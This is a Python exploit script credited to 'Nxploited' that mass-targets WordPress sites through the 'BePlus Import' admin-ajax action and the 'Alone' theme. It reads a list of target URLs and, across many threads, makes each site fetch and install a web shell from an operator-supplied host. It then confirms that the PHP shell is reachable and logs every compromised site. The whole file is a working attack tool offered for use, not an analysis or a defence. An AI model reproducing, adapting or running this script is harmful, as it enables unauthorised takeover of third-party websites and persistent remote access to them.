#!/usr/bin/env python3
# By: Nxploited
# -*- coding: utf-8 -*-

import threading
import requests
import time
import os
import sys
import urllib3
from colorama import Fore, Style, init
from tqdm import tqdm

init(autoreset=True)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
os.environ["NO_PROXY"] = "*"

Nx_user_agent = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) "
    "Chrome/120.0.0.0 Safari/537.36"
)

RESULT_FILE = "success_results.txt"
UPLOADED_SHELLS_FILE = "uploaded_shells.txt"


def type_print(text, color=Fore.WHITE, delay=0.027, end="\n"):
    for char in text:
        sys.stdout.write(color + char)
        sys.stdout.flush()
        time.sleep(delay)
    sys.stdout.write(end)
    sys.stdout.flush()


def show_banner():
    banner = [
        "888b    888                   888          d8b 888                 888 ",
        "8888b   888                   888          Y8P 888                 888 ",
        "88888b  888                   888              888                 888 ",
        "888Y88b 888 888  888 88888b.  888  .d88b.  888 888888 .d88b.   .d88888 ",
        "888 Y88b888 `Y8bd8P' 888 \"88b 888 d88\"\"88b 888 888   d8P  Y8b d88\" 888 ",
        "888  Y88888   X88K   888  888 888 888  888 888 888   88888888 888  888 ",
        "888   Y8888 .d8\"\"8b. 888 d88P 888 Y88..88P 888 Y88b. Y8b.     Y88b 888 ",
        "888    Y888 888  888 88888P\"  888  \"Y88P\"  888  \"Y888 \"Y8888   \"Y88888 ",
        "                     888                                               ",
        "                     888                                               ",
        "                     888                                               ",
    ]
    banner_color = Fore.CYAN + Style.BRIGHT
    for line in banner:
        type_print(line, color=banner_color, delay=0.008)
    print()
    info_color = Fore.YELLOW + Style.BRIGHT
    type_print("By: Nxploited (Khaled Alenazi)", color=info_color, delay=0.02)
    type_print("GitHub: http://github.com/Nxploited", color=info_color, delay=0.02)
    type_print("Telegram: @KNxploited", color=info_color, delay=0.02)
    print()
    usage_color = Fore.GREEN + Style.BRIGHT
    type_print("This module uploads a web shell through BePlus Import Ajax logic.", color=usage_color, delay=0.02)
    print()
    type_print(Fore.MAGENTA + Style.BRIGHT + "Press ENTER to continue...", delay=0.02)
    input()


def ask_config():
    print()
    list_file = input(
        Fore.YELLOW + Style.BRIGHT + "Enter targets file name (e.g., list.txt): "
    ).strip() or "list.txt"

    shell_url = input(
        Fore.YELLOW + Style.BRIGHT + "Enter shell URL (e.g., http://host/shell.zip or shell.php): "
    ).strip()

    while not shell_url:
        print(Fore.RED + "Shell URL is required.")
        shell_url = input(
            Fore.YELLOW + Style.BRIGHT + "Enter shell URL: "
        ).strip()

    threads_raw = input(
        Fore.YELLOW + Style.BRIGHT + "Enter number of threads (default 10): "
    ).strip()
    try:
        threads = int(threads_raw)
        if threads < 1:
            threads = 10
    except Exception:
        threads = 10

    delay_raw = input(
        Fore.YELLOW + Style.BRIGHT + "Delay between targets in seconds (default 0): "
    ).strip()
    try:
        delay = float(delay_raw) if delay_raw else 0.0
        if delay < 0:
            delay = 0.0
    except Exception:
        delay = 0.0

    print()
    type_print(
        f"{Fore.CYAN}Config -> File: {list_file} | Threads: {threads} | Delay: {delay:.2f}s",
        delay=0.01,
    )
    type_print(
        f"{Fore.CYAN}Shell URL -> {shell_url}",
        delay=0.01,
    )
    print()
    return list_file, threads, delay, shell_url


def internet_check():
    while True:
        try:
            requests.head("https://www.google.com", timeout=4)
            return True
        except Exception:
            print(Fore.MAGENTA + "Internet disconnected. Waiting 5 seconds...")
            time.sleep(5)


def read_targets(filename):
    targets = []
    try:
        with open(filename, "r") as f:
            for line in tqdm(f, desc="Loading targets", ncols=80):
                url = line.strip()
                if url:
                    if not url.lower().startswith(("http://", "https://")):
                        url = "http://" + url
                    targets.append(url)
    except FileNotFoundError:
        print(Fore.RED + f"Targets file '{filename}' not found!")
        sys.exit(1)
    return targets


def write_result(filename, line):
    with open(filename, "a") as f:
        f.write(f"{line}\n")


def error_short(msg):
    msg = str(msg)
    if "Failed to resolve" in msg or "getaddrinfo failed" in msg:
        return "NETWORK ERROR"
    if "SSLError" in msg or "SSLV3" in msg or "TLSV1" in msg:
        return "SSL ERROR"
    if "Max retries exceeded" in msg or "Connection aborted" in msg or "RemoteDisconnected" in msg:
        return "CONNECTION ERROR"
    if "404" in msg:
        return "NOT FOUND"
    if "403" in msg:
        return "FORBIDDEN"
    if "415" in msg:
        return "UNSUPPORTED MEDIA"
    if "301" in msg or "302" in msg:
        return "REDIRECT"
    if "200" in msg:
        return "NOT VULNERABLE"
    if "<html" in msg or "<!DOCTYPE html" in msg:
        return "UNEXPECTED HTML RESPONSE"
    return "NOT VULNERABLE"


def extract_slug_from_url(shell_url):
    try:
        parts = shell_url.split("/")
        idx = parts.index("plugins") + 1
        return parts[idx]
    except Exception:
        # fallback: use filename without extension as pseudo slug
        base = os.path.basename(shell_url)
        if "." in base:
            return base.split(".")[0]
        return base or "unknown"


def build_payload(plugin_slug, shell_url):
    return {
        "action": "beplus_import_pack_install_plugin",
        "plugin": plugin_slug,
        "shell": shell_url,
    }


def check_ajax_vuln(target_url):
    try:
        resp = requests.post(
            f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php",
            data={"action": "beplus_import_pack_install_plugin"},
            headers={"User-Agent": Nx_user_agent},
            verify=False,
            timeout=10,
        )
        if '"success":true' in resp.text:
            return True, "Ajax Vulnerable"
        return False, resp.text[:180]
    except Exception as e:
        return False, str(e)


def check_theme_alone(target_url):
    try:
        home = requests.get(
            target_url,
            headers={"User-Agent": Nx_user_agent},
            verify=False,
            timeout=10,
        )
        import re

        m = re.search(r"/wp-content/themes/[^/]+/style.css", home.text)
        if not m:
            return False, "No style.css found"
        style_url = target_url.rstrip("/") + m.group(0)
        st = requests.get(
            style_url,
            headers={"User-Agent": Nx_user_agent},
            verify=False,
            timeout=10,
        )
        if "Theme Name: Alone" in st.text:
            return True, "Theme Alone"
        return False, "Theme not Alone"
    except Exception as e:
        return False, str(e)


def get_php_shell_url(shell_url, target_url):
    base = os.path.basename(shell_url)
    new_name = base
    if base.endswith(".zip"):
        new_name = base[:-4] + ".php"
    php_shell_path = f"/wp-content/plugins/{new_name}"
    return target_url.rstrip("/") + php_shell_path


def check_shell_uploaded(shell_url, target_url):
    php_shell_url = get_php_shell_url(shell_url, target_url)
    try:
        resp = requests.head(
            php_shell_url,
            headers={"User-Agent": Nx_user_agent},
            verify=False,
            timeout=10,
        )
        if resp.status_code == 200:
            return True, php_shell_url
        return False, php_shell_url
    except Exception:
        return False, php_shell_url


def print_success_box():
    box_width = 46
    print(Fore.GREEN + Style.BRIGHT + "=" * box_width)
    print(Fore.GREEN + Style.BRIGHT + "=               SUCCESS                =")
    print(Fore.GREEN + Style.BRIGHT + "=" * box_width)


def send_exploit(target_url, plugin_slug, shell_url):
    session = requests.Session()
    session.verify = False
    session.headers.update(
        {
            "User-Agent": Nx_user_agent,
            "Content-Type": "application/x-www-form-urlencoded",
        }
    )
    full_url = f"{target_url.rstrip('/')}/wp-admin/admin-ajax.php"
    data = build_payload(plugin_slug, shell_url)
    try:
        response = session.post(full_url, data=data, timeout=15)
        uploaded, php_shell_url = check_shell_uploaded(shell_url, target_url)
        if uploaded:
            print_success_box()
            print(
                Fore.GREEN
                + Style.BRIGHT
                + f"{target_url} | {php_shell_url}  -> SUCCESS"
            )
            with open(UPLOADED_SHELLS_FILE, "a") as shf:
                shf.write(f"{php_shell_url}\n")
            return True, php_shell_url
        return False, response.text
    except requests.exceptions.RequestException as e:
        print(Fore.RED + f"[!] Request error: {e}")
        return False, None
    except ValueError as ve:
        print(Fore.RED + f"[!] Invalid response: {ve}")
        return False, None


def worker(thread_id, targets, delay_between, shell_url):
    for target in targets:
        internet_check()
        condition_met = False
        reasons = []

        cond1, msg1 = check_ajax_vuln(target)
        if cond1:
            condition_met = True
            reasons.append("Ajax")

        cond2, msg2 = check_theme_alone(target)
        if cond2:
            condition_met = True
            reasons.append("Theme Alone")

        if not condition_met:
            msg1_short = error_short(msg1)
            msg2_short = error_short(msg2)
            print(
                Fore.MAGENTA
                + f"{target} ==> Not vulnerable: [{msg1_short}, {msg2_short}]"
            )
            if delay_between > 0:
                time.sleep(delay_between)
            continue

        print(
            Fore.YELLOW
            + f"{target} ==> Vulnerable ({', '.join(reasons)}) - Exploiting..."
        )

        plugin_slug = extract_slug_from_url(shell_url)
        success, info = send_exploit(target, plugin_slug, shell_url)
        if success:
            write_result(RESULT_FILE, f"{target} | {info}")
        else:
            fail_msg = error_short(info)
            print(Fore.RED + f"{target} ==> Exploit failed: {fail_msg}")

        if delay_between > 0:
            time.sleep(delay_between)


def chunkify(lst, n):
    if n <= 0:
        return [lst]
    return [lst[i::n] for i in range(n)]


def main():
    show_banner()
    list_file, num_threads, delay_between, shell_url = ask_config()
    targets = read_targets(list_file)

    print(Style.BRIGHT + Fore.CYAN + f"\nPreparing threads...")
    for _ in tqdm(range(100), desc="Preparing", ncols=80):
        time.sleep(0.01)

    target_chunks = chunkify(targets, num_threads)
    threads = []
    print(
        Style.BRIGHT
        + Fore.CYAN
        + f"\nStarting with {num_threads} threads. Targets loaded: {len(targets)}\n"
    )

    for i in range(num_threads):
        th = threading.Thread(
            target=worker, args=(i, target_chunks[i], delay_between, shell_url)
        )
        th.daemon = True
        th.start()
        threads.append(th)

    for th in threads:
        th.join()

    print(
        Style.BRIGHT
        + Fore.CYAN
        + "\nAll targets processed. Check success_results.txt for successes."
    )
    print(
        Style.BRIGHT
        + Fore.CYAN
        + f"Uploaded shells are saved in {UPLOADED_SHELLS_FILE}"
    )


if __name__ == "__main__":
    main()